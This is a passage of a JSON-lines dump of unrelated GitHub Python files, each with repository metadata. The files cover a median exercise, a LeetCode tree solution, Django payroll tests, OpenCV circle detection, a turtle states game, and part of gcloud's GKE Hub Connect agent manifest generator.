time.sleep(4)\n\n # Maximize the window\n driver.maximize_window()\n\n # Loading browser with App URL\n\n return driver","repo_name":"KavyaJyothi/test","sub_path":"Candidate_panel_automation/Base/web_driver_factory.py","file_name":"web_driver_factory.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10432192315","text":"numbers = []\n\ntry:\n file = open(\"zad081.txt\", \"r\")\n\n for line in file:\n numbers.append(int(line))\n\n file.close()\n\nexcept IOError:\n print(\"Blad otwierania pliku\")\n\nn = len(numbers)\n\nif n == 0:\n exit()\n\nnumbers.sort(key=int)\n\nnumbersSum = 0\n\nfor number in numbers:\n numbersSum += number\n\nprint(\"\\nSrednia: \" + str(numbersSum/len(numbers)))\n\nif n % 2 == 0:\n a = n//2\n b = a+1\n median = (numbers[a-1]+numbers[b-1])/2\n\nelse:\n median = numbers[n//2 - 1]\n\nprint(\"Mediana: \" + str(median))","repo_name":"irekkosek/jezyki-skryptowe","sub_path":"python/zadania/pyth-67-100/zad82.py","file_name":"zad82.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10707139970","text":"\"\"\"\n@File : 101.对称二叉树.py\n@Time : 2019-09-27 15:35\n@Author : Wade\n@Software: PyCharm\n\"\"\"\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\n### 递归\n# class Solution:\n# def isSymmetric(self, root: TreeNode) -> bool:\n# ans1=[]\n# ans2=[]\n# self.orderleft(root,ans1)\n# self.orderright(root,ans2)\n# return ans1==ans2\n#\n#\n#\n# def orderleft(self,root,ans):\n# if not root:\n# ans.append(0)\n# return\n# ans.append(root.val)\n# self.orderleft(root.left,ans)\n# self.orderleft(root.right,ans)\n#\n# def orderright(self,root,ans):\n# if not root:\n# ans.append(0)\n# return\n# ans.append(root.val)\n# self.orderright(root.right,ans)\n# self.orderright(root.left,ans)\n\nclass Solution:\n def isSymmetric(self, root: TreeNode) -> bool:\n queue=[root,root]\n while queue:\n one=queue.pop(0)\n two=queue.pop(0)\n if not one and not two:\n continue\n if not one or not two:\n return False\n if one.val!=two.val:\n return False\n queue.append(one.left)\n queue.append(two.right)\n queue.append(one.right)\n queue.append(two.left)\n return True\n\n","repo_name":"watermelon-lee/leetcode","sub_path":"code/101.对称二叉树.py","file_name":"101.对称二叉树.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"73326961427","text":"from typing import List\r\n\r\nfrom django.test import TestCase\r\nfrom django.db.models import ObjectDoesNotExist\r\n\r\nfrom apps.employee_data_app.employee_app.models import Employee\r\nfrom apps.payroll_app.models import Labour, Payroll\r\nfrom apps.payroll_app.models import WageParameters\r\nfrom .load_fixtures import load_fixtures, load_salary_fixtures\r\nfrom datetime import date\r\n\r\n\r\nclass TestSalary(TestCase):\r\n fixtures: List[str] = load_salary_fixtures()\r\n\r\n def setUp(self) -> None:\r\n\r\n Labour.set_labour(\r\n 2021, 4, 168\r\n )\r\n self.labour_data = Labour.objects.get(pk=1)\r\n\r\n self.employee = Employee.objects.get(pk=1)\r\n self.wage_params = WageParameters.objects.get(pk=1)\r\n Payroll.calculate_payrolls(date.today(), 2021, 4)\r\n self.payroll = Payroll.objects.get(pk=1)\r\n\r\n def test_payroll_exists(self):\r\n payroll = Payroll.objects.get(pk=1)\r\n self.assertIsNotNone(payroll)\r\n\r\n def test_reg_salary(self):\r\n salary: float = self.wage_params.min_wage\r\n print(self.payroll.net_salary)\r\n print(self.employee.signed_contract.total_salary)\r\n self.assertEqual(salary, self.payroll.gross_salary)\r\n\r\n def test_min_salary(self):\r\n salary: float = 4250\r\n self.assertEqual(salary, 4250)\r\n\r\n def test_below_min(self):\r\n salary: float = 4000\r\n self.assertEqual(salary, 4250)\r\n\r\n def test_0(self):\r\n salary: float = 0\r\n self.assertEqual(salary, 4250)\r\n","repo_name":"Glavotaner/python-django-payrollapp","sub_path":"apps/tests/test_salary.py","file_name":"test_salary.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5177495356","text":"import os\nimport glob\nimport pandas as pd\n\nif not os.path.exists('semseg_results_city212223'):\n os.makedirs('semseg_results_city212223')\n\nfile_list = glob.glob('../ViT-Adapter-main-mine/segmentation/semseg_results_212223/*.csv')\n\ndf_final = pd.DataFrame({})\n\nfor f in file_list:\n df = pd.read_csv(f)\n #'New York city_2022_imgs_semseg'\n city = f.split('/')[-1].split('_')[0]\n year = f.split('/')[-1].split('_')[1]\n\n df.drop(['img_name'], axis = 1, inplace = True)\n df['city'] = city\n df_mean = df.groupby(['city']).mean().reset_index()\n df_mean['year'] = year\n df_mean.to_csv('semseg_results_city212223/semseg_'+city+'_'+str(year)+'.csv', index = False)\n\n df_final = pd.concat([df_final,df_mean])\n\n#print(df.columns)\ndf_final.columns = ['City Name', 'Background', 'Building', 'Road', 'Water', 'Barren', 'Forest', 'Agricultural', 'Year']\ndf_final.sort_values(by=['City Name','Year'],axis=0,ascending=True,inplace=True)\ndf_final[['City Name','Year','Background', 'Building', 'Road', 'Water', 'Barren', 'Forest', 'Agricultural']].to_csv('final_semseg_concat_city.csv', index=False)\nprint(len(df_final))\n","repo_name":"axin1301/Satellite-imagery-dataset","sub_path":"Satellite_Imagery_and_Visual_Attributes/Counting_final_visual_attributes/agg_semseg_city.py","file_name":"agg_semseg_city.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"74750054224","text":"\nimport cv2\nimport math\nimport time\nimport numpy as np\nimport shapely\nfrom shapely.geometry import Point\nfrom shapely.geometry import Polygon\n# Function which returns subset or r length from n\nfrom itertools import combinations\n\nimport warnings\nwarnings.filterwarnings(\"error\")\n\ndef crop_rect(img, rect):\n # get the parameter of the small rectangle\n center = rect[0]\n size = rect[1]\n angle = rect[2]\n center, size = tuple(map(int, center)), tuple(map(int, size))\n\n # get row and col num in img\n height, width = img.shape[0], img.shape[1]\n\n M = cv2.getRotationMatrix2D(center, angle, 1)\n img_rot = cv2.warpAffine(img, M, (width, height), flags=cv2.INTER_NEAREST)\n img_crop = cv2.getRectSubPix(img_rot, size, center)\n return img_crop\n\ndef circleColonyDetect(image):\n\n start_time = time.time()\n # applying clahe on the image\n lab = cv2.cvtColor(image, cv2.COLOR_BGR2LAB)\n l_channel = lab[:, :, 0]\n a = lab[:, :, 1]\n b = lab[:, :, 2]\n # Applying CLAHE to L-channel\n clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8, 8))\n cl = clahe.apply(l_channel)\n # merge the CLAHE enhanced L-channel with the a and b channel\n limg = cv2.merge((cl, a, b))\n # Converting image from LAB Color model to BGR color spcae\n enhanced_img = cv2.cvtColor(limg, cv2.COLOR_LAB2BGR)\n image = enhanced_img\n\n print(\"CLAHE time: {:.4f} seconds\".format(time.time() - start_time))\n\n circles = circle_detection(image)\n downscaled_circles1 = circle_detection(\n image, scale=0.5, params=(100, 28, 10, 50))\n downscaled_circles2 = circle_detection(\n image, scale=1.5, params=(100, 30, 20, 50))\n final_circles = [*circles, *downscaled_circles1, *downscaled_circles2]\n print(len(final_circles))\n return final_circles\n\ndef circle_detection(image, scale=1.0, params=(100, 30, 25, 50)):\n image = cv2.resize(image, (0,0), fx=scale, fy=scale)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n gray = cv2.medianBlur(gray, 5)\n\n circles = cv2.HoughCircles(gray, cv2.HOUGH_GRADIENT, 1, 10,\n param1=params[0], param2=params[1],\n minRadius=params[2], maxRadius=params[3])\n if circles is not None:\n circles = circles[0]\n # return circles\n if scale != 1.:\n rescaled_circles = []\n for circle in circles:\n rescaled_circles.append([i * (1./scale) for i in circle])\n return rescaled_circles\n else:\n return circles\n else:\n return []\n\ndef circle_intersection_area(circle1, circle2):\n \n circle1 = np.array(circle1)\n circle2 = np.array(circle2)\n radius1 = circle1[2]\n radius2 = circle2[2]\n\n d = ((circle1[0] - circle2[0])**2 + (circle1[1] - circle2[1])**2)**0.5\n if d < radius1 or d < radius2:\n return 0, 100\n\n circlePoly1 = Point(circle1[0], circle1[1]).buffer(circle1[2])\n # circlePoly1 = Polygon(circlePoly1)\n circlePoly2 = Point(circle2[0], circle2[1]).buffer(circle2[2])\n\n intersection_1 = 0\n intersection_2 = 0\n if circlePoly1.intersects(circlePoly2):\n intersection_1 = circlePoly1.intersection(circlePoly2).area\n intersection_2 = circlePoly2.intersection(circlePoly1).area\n \n # union_area = circlePoly1.union(circlePoly2).area\n base_area = min(circlePoly1.area, circlePoly2.area)\n\n iou = min(intersection_1, intersection_2) / base_area * 100\n\n return max(intersection_1, intersection_2), iou\n\n intersection = 0\n iou = 0\n\n d = ((circle1[0] - circle2[0])**2 + (circle1[1] - circle2[1])**2)**0.5\n if (d < (radius1 + radius2)):\n if d < radius1 or d < radius2:\n return 0, 100\n if radius1 > radius2:\n x = (circle1[2]**2 - circle2[2]**2 + d**2) / (2*d)\n else:\n x = (circle2[2]**2 - circle1[2]**2 + d**2) / (2*d)\n if d < x:\n y = x - d\n else:\n y = d - x\n a = (circle1[2]**2 - x**2) ** 0.5\n b = (circle2[2]**2 - y**2) ** 0.5\n theta1 = np.arctan2(a, x)\n theta2 = np.arctan2(b, y)\n\n arcarea1 = (np.pi * circle1[2]**2) * ((2 * theta1) / (2 * np.pi))\n arcarea2 = (np.pi * circle2[2]**2) * ((2 * theta2) / (2 * np.pi))\n triarea1 = x * a\n triarea2 = y * b\n intersection = arcarea1 + arcarea2 - triarea1 - triarea2\n if circle1[2] > circle2[2]:\n smaller_area = (np.pi * circle2[2]**2)\n else:\n smaller_area = (np.pi * circle1[2]**2)\n\n iou = (intersection / smaller_area) * 100.\n\n return intersection, iou\n\ndef iou_filtering(filtered_circles, ref_circle, idx):\n if idx < len(filtered_circles):\n for circle in filtered_circles[idx:]:\n intersection, iou = circle_intersection_area(ref_circle, circle)\n if iou > 80:\n del filtered_circles[idx]\n filtered_circles = iou_filtering(filtered_circles, ref_circle, idx)\n return filtered_circles\n idx += 1\n return filtered_circles\n\ndef loop_iou_filtering(circles, final_circles=[]):\n if len(circles) > 0:\n ref_circle = circles[0]\n final_circles.append(ref_circle)\n filtered_circles = circles.copy()\n del filtered_circles[0]\n filtered_circles = iou_filtering(filtered_circles, ref_circle, idx=0)\n final_circles = loop_iou_filtering(filtered_circles, final_circles=final_circles)\n return final_circles\n\n\ndef remove_overlapping_box(image, candidates_list, num_data, counter, IOU_THRESHOLD=50):\n if len(candidates_list) > 0:\n reference = candidates_list[0]\n candidates_list = candidates_list[1:]\n\n reference_cropped_img = crop_texture(image, reference)\n reference_cropped_img = cv2.cvtColor(reference_cropped_img, cv2.COLOR_BGR2HSV)\n reference_hist = compute_colorHist(reference_cropped_img, None, excluding_v=False)\n\n idx_list = []\n overlapping_list = [(0, reference_hist, reference_cropped_img, reference)]\n for idx in range(len(candidates_list)):\n candidate = candidates_list[idx]\n\n intersection, iou = circle_intersection_area(reference, candidate)\n \n if iou > IOU_THRESHOLD:\n candidate_cropped_img = crop_texture(image, candidate)\n candidate_cropped_img = cv2.cvtColor(candidate_cropped_img, cv2.COLOR_BGR2HSV)\n candidate_hist = compute_colorHist(candidate_cropped_img, None, excluding_v=False)\n overlapping_list.append((idx, candidate_hist, candidate_cropped_img, candidate))\n \n idx_list.append(idx)\n if len(idx_list) > 0:\n idx_list = sorted(idx_list, reverse=True)\n for idx in idx_list:\n del candidates_list[idx]\n best_candiate = sorted(overlapping_list, key=lambda x: x[0])[0]\n candidates_list.append(best_candiate[3])\n num_data = len(candidates_list)\n counter = 0\n else:\n best_candiate = overlapping_list[0]\n candidates_list.append(best_candiate[6])\n counter = counter + 1\n\n if num_data*2 == counter:\n return candidates_list\n\n final_candidates = remove_overlapping_box(image, candidates_list, num_data, counter, IOU_THRESHOLD=IOU_THRESHOLD)\n return final_candidates\n else:\n return candidates_list\n\ndef jeffrey_divergence(hist1, hist2):\n hist1 = hist1 + 1e-20\n hist1 = hist1/hist1.sum()\n hist2 = hist2 + 1e-20\n hist2 = hist2/hist2.sum()\n kl_1_2 = (hist1 * np.log2(hist1 / hist2)).sum()\n kl_2_1 = (hist2 * np.log2(hist2 / hist1)).sum()\n return kl_1_2 + kl_2_1\n\ndef loop_color_similarity(image, circle_with_hist, reference, histogram_visualization=False):\n output_div_list = []\n data_with_div = []\n circle_ref, hist1 = reference\n r1 = circle_ref[2]\n patch_ref = crop_texture(image, circle_ref)\n for data in circle_with_hist:\n \n circle_data, hist2 = data\n r2 = circle_data[2]\n # patch_data = crop_texture(image, circle_data)\n\n # print(patch_ref.shape)\n # print(patch_data.shape)\n # cv2.imwrite(\"patch_ref.png\", patch_ref)\n # cv2.imwrite(\"patch_data.png\", patch_data)\n # exit()\n r_diff = abs(float(r1) - float(r2))\n j_div_avg = 0\n\n for i in range(3):\n j_div = jeffrey_divergence(hist1[i, :], hist2[i, :])\n j_div_avg += j_div\n j_div_avg /= 3\n output_div_list.append(j_div_avg)\n data_with_div.append((data[0], data[1], j_div_avg, r_diff))\n # print(sorted(output_div_list))\n # output_div_list = np.array(output_div_list)\n # import matplotlib.pyplot as plt\n # plt.hist(output_div_list, density=True, bins=50)\n # plt.savefig(\"histogram.png\")\n # plt.show()\n if histogram_visualization:\n return data_with_div, output_div_list\n else:\n return data_with_div\n\ndef compute_colorHist(image, circles):\n image = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n circle_with_hist = []\n for circle in circles:\n circle = np.uint16(np.around(circle))\n mask = np.zeros(image.shape[:2]).astype(np.uint8)\n center = (circle[0], circle[1])\n radius = circle[2]\n cv2.circle(mask, center, radius, 255, -1)\n mask = np.expand_dims(mask, axis=2)\n\n color = ('h','s','v')\n hist = []\n for i,col in enumerate(color):\n hist_item = cv2.calcHist([image],[i],mask,[256],[0,255])\n hist_item = hist_item[:,0]\n hist.append(hist_item)\n circle_with_hist.append((circle, np.array(hist)))\n return circle_with_hist\n\ndef crop_texture(image, circle):\n center = (circle[0], circle[1])\n radius = circle[2]\n \n side = radius / (2**0.5)\n p1 = (math.floor(center[0] - (side/2)), math.floor(center[1] - (side/2)))\n p2 = (math.floor(center[0] + (side/2)), math.floor(center[1] + (side/2)))\n\n patch = image[p1[1]:p2[1], p1[0]:p2[0],...]\n return patch","repo_name":"kyawmyothuartc/agar-sila-server","sub_path":"utils/visionLib/vision_utils.py","file_name":"vision_utils.py","file_ext":"py","file_size_in_byte":10070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40158876661","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019-02-28 10:55\n# @Author : zhangjiang\n# @Site : \n# @File : 8.进程池.py\n# @Software: PyCharm\n\nimport os\nimport time\nfrom multiprocessing import Pool ,Process\nfrom threading import current_thread\n\ndef task(i):\n i += 1\n # print(\"%s 当前线程 %s\" %(i,current_thread().name))\n\n\nif __name__ == '__main__':\n #cpu个数\n # print(os.cpu_count())\n #定义进程池\n start = time.time()\n p = Pool(10) #实例化7个进程,每次执行7个进程\n p.map(task,range(2000)) #进程中里面的start,p.map就是异步操作\n p.close() #不能再往里面提交任务\n p.join() #等待子进程执行完毕\n end = time.time()\n print(\"执行时间===%s\" %(end - start))\n\n #原生进 程\n start = time.time()\n p_l = []\n for i in range(2000):\n p = Process(target=task,args=(i,))\n p_l.append(p)\n p.start()\n\n for p in p_l:\n p.join()\n end = time.time()\n print(\"原生执行的时间:%s\" %(end - start))","repo_name":"zhangjiang1203/Python-","sub_path":"作业/第十二天作业/8.进程池.py","file_name":"8.进程池.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39579821887","text":"import turtle\r\nimport pandas\r\n\r\n\r\nscreen = turtle.Screen()\r\nscreen.title(\"U.S. States Game\")\r\nimage = \"blank_states_img.gif\"\r\nscreen.addshape(image)\r\nturtle.shape(image)\r\n\r\n# ########getting coordinates from mouse clicks #############\r\n# def get_mouse_click_coor(x, y): #\r\n# print(x, y) #\r\n# #\r\n# #\r\n# turtle.onscreenclick(get_mouse_click_coor) #\r\n# #\r\n# turtle.mainloop() # alternate way to keep screen on #\r\n# ###########################################################\r\ndata = pandas.read_csv(\"50_states.csv\")\r\n\r\nall_states = data.state.tolist()\r\n# state_names = data[\"state\"].tolist() # converting the states, x and y cor to separate lists to work with\r\n# state_x_cor = data[\"x\"].tolist()\r\n# state_y_cor = data[\"y\"].tolist()\r\n\r\n# game_is_on = True\r\n\r\nscore = 0\r\ncorrect_guesses = []\r\n# while len(correct_guesses) < 50:\r\n # answer_state = (screen.textinput(title=f\"{score}/50 Enter The State Names\", prompt=\"Another State\")).title()\r\n # state_index = state_names.index(answer_state) # finding thr index of answer state in state names\r\n # state_x_index = state_x_cor[state_index] # using state index to find x and y values\r\n # state_y_index = state_y_cor[state_index]\r\n #\r\n # if answer_state in state_names:\r\n # score += 1\r\n # correct_guesses.append(answer_state) # saving correctly guessed states to a list\r\n # new_turtle = turtle.Turtle()\r\n # new_turtle.penup()\r\n # new_turtle.hideturtle()\r\n # new_turtle.goto(state_x_index, state_y_index)\r\n # new_turtle.write(answer_state)\r\n\r\n# MORE SIMPLIFIED CODE\r\nwhile len(correct_guesses) < 50:\r\n answer_state = screen.textinput(title=f\"{len(correct_guesses)}/50 States Correct\",\r\n prompt=\"What's Another State Name\").title()\r\n\r\n if answer_state == \"Exit\":\r\n missing_states = [state for state in all_states if state not in correct_guesses]\r\n # using list comprehension to make code shorter\r\n # missing_states = []\r\n\r\n # for state in all_states:\r\n # if state not in correct_guesses:\r\n # missing_states.append(state)\r\n new_data = pandas.DataFrame(missing_states) # saving missing states to a list\r\n new_data.to_csv(\"Missed-States-To_Learn.csv\")\r\n break\r\n # missing_states = [ state for state in all_state if state not in correct_guesses]\r\n\r\n\r\n if answer_state in all_states:\r\n correct_guesses.append(answer_state)\r\n t = turtle.Turtle()\r\n t.hideturtle()\r\n t.penup()\r\n state_data = data[data.state == answer_state] # getting hold of the roe which contain answer state\r\n t.goto(int(state_data.x), int(state_data.y)) # getting x and y values from that row\r\n t.write(answer_state)\r\n\r\n\r\nscreen.exitonclick()\r\n","repo_name":"NithinNazar/Python_Projects","sub_path":"day_25_US_states_game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25159334445","text":"class ServiceNames:\n MpdClient = 'mpdclient'\n Configuration = 'config'\n MpdViewModel = 'mpdviewmodel'\n\nclass ServiceLocator(object):\n \"\"\"The Service locator class\"\"\"\n services = None\n\n @staticmethod\n def registerGlobalService(serviceName, serviceInstance):\n \"\"\"Register a service instance by name.\"\"\"\n if not ServiceLocator.services:\n ServiceLocator.services={}\n ServiceLocator.services[serviceName] = serviceInstance\n print(\"Register global Service: {0}\".format(serviceName))\n\n @staticmethod\n def getGlobalServiceInstance(serviceName):\n \"\"\"Returns the service instance by name.\"\"\"\n #print(\"Get Global Service Instance: {0}\".format(serviceName))\n if serviceName in ServiceLocator.services:\n result = ServiceLocator.services[serviceName]\n else:\n result = None\n return result\n\n\n\n","repo_name":"huvermann/CuteMpd","sub_path":"CuteMpd/Utils/ServiceLocator.py","file_name":"ServiceLocator.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37523636931","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport base64\nimport os\nimport subprocess\nimport tempfile\nimport textwrap\nimport uuid\n\nfrom containerregistry.client import docker_name\nfrom containerregistry.client.v2_2 import docker_image\nfrom googlecloudsdk.api_lib.container import kubeconfig as kconfig\nfrom googlecloudsdk.api_lib.container import util as c_util\nfrom googlecloudsdk.api_lib.container.images import util as i_util\nfrom googlecloudsdk.api_lib.util import apis as core_apis\nfrom googlecloudsdk.api_lib.util import waiter\nfrom googlecloudsdk.calliope import exceptions as calliope_exceptions\nfrom googlecloudsdk.command_lib.projects import util as p_util\nfrom googlecloudsdk.core import exceptions\nfrom googlecloudsdk.core import http\nfrom googlecloudsdk.core import log\nfrom googlecloudsdk.core import properties\nfrom googlecloudsdk.core import resources\nfrom googlecloudsdk.core.console import console_io\nfrom googlecloudsdk.core.util import files\nfrom googlecloudsdk.core.util import times\n\nAGENT_POD_LABEL = 'gke_connect_agent'\n\n# The name of the secret that will store the Docker private registry\n# credentials, if they are provided.\nIMAGE_PULL_SECRET_NAME = 'connect-image-pull-secret'\n\nCONNECT_RESOURCE_LABEL = 'hub.gke.io/project'\n\nMANIFEST_SAVED_MESSAGE = \"\"\"\\\nManifest saved to [{0}]. Please apply the manifest to your cluster with \\\n`kubectl apply -f {0}`. You must have `cluster-admin` privilege in order to \\\ndeploy the manifest.\n\n**This file contains sensitive data; please treat it with the same discretion \\\nas your service account key file.**\"\"\"\n\n# The components of the install manifest that will be removed by gcloud if the\n# pod completes successfully. This does not include all of the components\n# related to the pod, since some of these are removed by the pod itself.\nINSTALL_POD_MANIFEST_TEMPLATE = \"\"\"\\\napiVersion: v1\nkind: Pod\nmetadata:\n name: {agent_pod_name}\n namespace: {namespace}\n labels:\n app: {agent_app_label}\nspec:\n restartPolicy: Never\n containers:\n - name: connect-agent\n image: {image}\n command:\n - gkeconnect_bin/bin/gkeconnect_agent\n - --install\n - --config\n - user-config\n imagePullPolicy: Always\n env:\n - name: MY_POD_NAMESPACE\n valueFrom:\n fieldRef:\n fieldPath: metadata.namespace\"\"\"\n\n# The components of the install manifest that are created by gcloud and are\n# either not deleted or deleted by the pod itself.\nMANIFEST_TEMPLATE_FOR_NON_DELETED_RESOURCES = \"\"\"\napiVersion: v1\nkind: ConfigMap\nmetadata:\n name: user-config\n namespace: {namespace}\ndata:\n project_id: \"{project_id}\"\n project_number: \"{project_number}\"\n membership_name: \"{membership_name}\"\n proxy: \"{proxy}\"\n image: \"{image}\"\nbinaryData:\n gcp_sa_key: \"{gcp_sa_key}\"\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: {project_id}-gke-connect-agent-role-binding\n labels:\n {connect_resource_label}: {project_id}\nsubjects:\n- kind: ServiceAccount\n name: default\n namespace: {namespace}\nroleRef:\n kind: ClusterRole\n name: cluster-admin\n apiGroup: rbac.authorization.k8s.io\"\"\"\n\n# The secret that will be installed if a Docker registry credential is provided.\nIMAGE_PULL_SECRET_TEMPLATE = \"\"\"\\\napiVersion: v1\nkind: Secret\nmetadata:\n name: {name}\n namespace: {namespace}\n labels:\n {connect_resource_label}: {project_id}\ndata:\n .dockerconfigjson: {image_pull_secret}\ntype: kubernetes.io/dockerconfigjson\"\"\"\n\n# The namespace that will be created, and in which the Connect agent pod will\n# be run.\nNAMESPACE_MANIFEST_TEMPLATE = \"\"\"\\\napiVersion: v1\nkind: Namespace\nmetadata:\n name: {namespace}\n labels:\n {connect_resource_label}: {project_id}\"\"\"\n\nAGENT_POD_INITIAL_WAIT_MS = 1000 * 2\nAGENT_POD_TIMEOUT_MS = 1000 * 45\nAGENT_POD_MAX_POLL_INTERVAL_MS = 1000 * 3\nAGENT_POD_INITIAL_POLL_INTERVAL_MS = 1000 * 1\n\nNAMESPACE_DELETION_INITIAL_WAIT_MS = 0\nNAMESPACE_DELETION_TIMEOUT_MS = 1000 * 60 * 2\nNAMESPACE_DELETION_MAX_POLL_INTERVAL_MS = 1000 * 15\nNAMESPACE_DELETION_INITIAL_POLL_INTERVAL_MS = 1000 * 5\n\n# The Connect agent image to use by default.\nDEFAULT_CONNECT_AGENT_IMAGE = 'gcr.io/gkeconnect/gkeconnect-gce'\n# The Connect agent image tag to use by default.\nDEFAULT_CONNECT_AGENT_TAG = 'release'\n\n\ndef AddCommonArgs(parser):\n \"\"\"Adds the flags shared between 'hub' subcommands to parser.\n\n Args:\n parser: an argparse.ArgumentParser, to which the common flags will be added\n \"\"\"\n parser.add_argument(\n '--context',\n required=True,\n type=str,\n help=textwrap.dedent(\"\"\"\\\n The context in the kubeconfig file that specifies the cluster.\n \"\"\"),\n )\n parser.add_argument(\n '--kubeconfig-file',\n type=str,\n help=textwrap.dedent(\"\"\"\\\n The kubeconfig file containing an entry for the cluster. Defaults to\n $KUBECONFIG if it is set in the environment, otherwise defaults to\n to $HOME/.kube/config.\n \"\"\"),\n )\n\n\ndef _MembershipClient():\n return core_apis.GetClientInstance('gkehub', 'v1beta1')\n\n\ndef CreateMembership(project, membership_id, description):\n \"\"\"Creates a Membership resource in the GKE Hub API.\n\n Args:\n project: the project in which to create the membership\n membership_id: the value to use for the membership_id\n description: the value to put in the description field\n\n Returns:\n the created Membership resource.\n\n Raises:\n - apitools.base.py.HttpError: if the request returns an HTTP error\n - exceptions raised by waiter.WaitFor()\n \"\"\"\n client = _MembershipClient()\n request = client.MESSAGES_MODULE.GkehubProjectsLocationsGlobalMembershipsCreateRequest(\n membership=client.MESSAGES_MODULE.Membership(description=description),\n parent='projects/{}/locations/global'.format(project),\n membershipId=membership_id,\n )\n op = client.projects_locations_global_memberships.Create(request)\n op_resource = resources.REGISTRY.ParseRelativeName(\n op.name, collection='gkehub.projects.locations.operations')\n return waiter.WaitFor(\n waiter.CloudOperationPoller(client.projects_locations_global_memberships,\n client.projects_locations_operations),\n op_resource, 'Waiting for membership to be created')\n\n\ndef GetMembership(name):\n \"\"\"Gets a Membership resource from the GKE Hub API.\n\n Args:\n name: the full resource name of the membership to get, e.g.,\n projects/foo/locations/global/memberships/name.\n\n Returns:\n a Membership resource\n\n Raises:\n apitools.base.py.HttpError: if the request returns an HTTP error\n \"\"\"\n\n client = _MembershipClient()\n return client.projects_locations_global_memberships.Get(\n client.MESSAGES_MODULE.GkehubProjectsLocationsGlobalMembershipsGetRequest(\n name=name))\n\n\ndef DeleteMembership(name):\n \"\"\"Deletes a membership from the GKE Hub.\n\n Args:\n name: the full resource name of the membership to delete, e.g.,\n projects/foo/locations/global/memberships/name.\n\n Raises:\n apitools.base.py.HttpError: if the request returns an HTTP error\n \"\"\"\n\n client = _MembershipClient()\n op = client.projects_locations_global_memberships.Delete(\n client.MESSAGES_MODULE\n .GkehubProjectsLocationsGlobalMembershipsDeleteRequest(name=name))\n op_resource = resources.REGISTRY.ParseRelativeName(\n op.name, collection='gkehub.projects.locations.operations')\n waiter.WaitFor(\n waiter.CloudOperationPollerNoResources(\n client.projects_locations_operations), op_resource,\n 'Waiting for membership to be deleted')\n\n\ndef GetClusterUUID(args):\n \"\"\"Gets the UUID of the kube-system namespace.\n\n Args:\n args: command line arguments\n\n Returns:\n the namespace UID\n\n Raises:\n exceptions.Error: If the UID cannot be acquired.\n calliope_exceptions.MinimumArgumentException: if a kubeconfig file cannot be\n deduced from the command line flags or environment\n \"\"\"\n return KubernetesClient(args).GetNamespaceUID('kube-system')\n\n\ndef ImageDigestForContainerImage(name, tag):\n \"\"\"Given a container image and tag, returns the digest for that image version.\n\n Args:\n name: the gcr.io registry name plus the image name\n tag: the image tag\n\n Returns:\n The digest of the image, or None if there is no such image.\n\n Raises:\n googlecloudsdk.core.UnsupportedRegistryError: If the path is valid,\n but belongs to an unsupported registry.\n i_util.InvalidImageNameError: If the image name is invalid.\n i_util.TokenRefreshError: If there is an error refreshing credentials\n needed to access the GCR repo.\n i_util.UserRecoverableV2Error: If a user-recoverable error occurs accessing\n the GCR repo.\n \"\"\"\n\n def _TaggedImage():\n \"\"\"Display the fully-qualified name.\"\"\"\n return '{}:{}'.format(name, tag)\n\n name = i_util.ValidateRepositoryPath(name)\n with i_util.WrapExpectedDockerlessErrors(name):\n with docker_image.FromRegistry(\n basic_creds=i_util.CredentialProvider(),\n name=docker_name.Tag(_TaggedImage()),\n transport=http.Http()) as r:\n return r.digest()\n\n\ndef GenerateInstallManifest(project_id, namespace, image, sa_key_data,\n image_pull_secret_data, membership_name, proxy):\n \"\"\"Generates the contents of the GKE Connect agent install manifest.\n\n Args:\n project_id: The GCP project identifier.\n namespace: The namespace into which to deploy the Connect agent.\n image: The container image to use in the Connect agent pod (and, later,\n deployment).\n sa_key_data: The contents of a GCP SA keyfile, base64-encoded.\n image_pull_secret_data: The contents of a secret that will be used as an\n image pull secret for the provided Docker image.\n membership_name: The name of the membership that this manifest is being\n generated for.\n proxy: The HTTP proxy that the agent should use, in the form\n http[s]://\n\n Returns:\n A tuple, containing (\n a string, a YAML manifest that can be used to install the agent,\n a string, the subset of the manifest that relates to the agent install\n pod, and can be reverted,\n the name of the connect agent install pod\n )\n \"\"\"\n project_number = p_util.GetProjectNumber(project_id)\n agent_pod_name = 'gke-connect-agent-{}'.format(uuid.uuid4().hex)\n\n namespace_manifest = NAMESPACE_MANIFEST_TEMPLATE.format(\n connect_resource_label=CONNECT_RESOURCE_LABEL,\n namespace=namespace,\n project_id=project_id)\n\n pod_manifest = INSTALL_POD_MANIFEST_TEMPLATE.format(\n namespace=namespace,\n agent_pod_name=agent_pod_name,\n agent_app_label=AGENT_POD_LABEL,\n project_id=project_id,\n image=image)\n\n non_deleted_resources_manifest = MANIFEST_TEMPLATE_FOR_NON_DELETED_RESOURCES.format(\n connect_resource_label=CONNECT_RESOURCE_LABEL,\n namespace=namespace,\n 